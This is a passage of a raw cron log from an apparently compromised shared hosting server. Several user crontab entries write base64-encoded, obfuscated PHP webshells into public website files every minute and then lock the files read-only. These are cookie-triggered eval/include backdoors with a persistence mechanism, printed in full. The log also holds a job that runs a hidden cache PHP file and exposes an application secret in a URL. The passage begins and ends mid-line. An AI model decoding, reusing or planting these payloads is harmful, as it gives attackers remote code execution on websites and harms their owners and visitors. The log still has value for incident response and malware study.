"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:19:02 medusa CROND[13581]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:19:02 medusa CROND[13584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:19:02 medusa CROND[13579]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:19:02 medusa CROND[13580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:19:02 medusa CROND[13588]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:19:02 medusa CROND[13591]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:19:02 medusa CROND[13592]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:19:02 medusa CROND[13594]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:20:01 medusa CROND[15602]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:20:01 medusa CROND[15606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:20:01 medusa CROND[15635]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:20:01 medusa CROND[15754]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 06:20:01 medusa CROND[15807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:20:01 medusa CROND[15812]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:20:01 medusa CROND[15820]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:20:01 medusa CROND[15821]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:20:01 medusa CROND[15823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:20:01 medusa CROND[15824]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:20:01 medusa CROND[15825]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:20:01 medusa CROND[15827]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:20:01 medusa CROND[15822]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:20:01 medusa CROND[15828]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:20:02 medusa CROND[15830]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 06:20:02 medusa CROND[15826]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 06:20:02 medusa CROND[15837]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15836]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 06:20:02 medusa CROND[15832]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15844]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:20:02 medusa CROND[15833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15846]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:20:02 medusa CROND[15847]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15850]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:20:02 medusa CROND[15854]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:20:02 medusa CROND[15860]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:20:02 medusa CROND[15861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:20:02 medusa CROND[15884]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:21:01 medusa CROND[19175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:21:01 medusa CROND[19195]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:21:01 medusa CROND[19337]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:21:01 medusa CROND[19338]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:21:01 medusa CROND[19339]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+I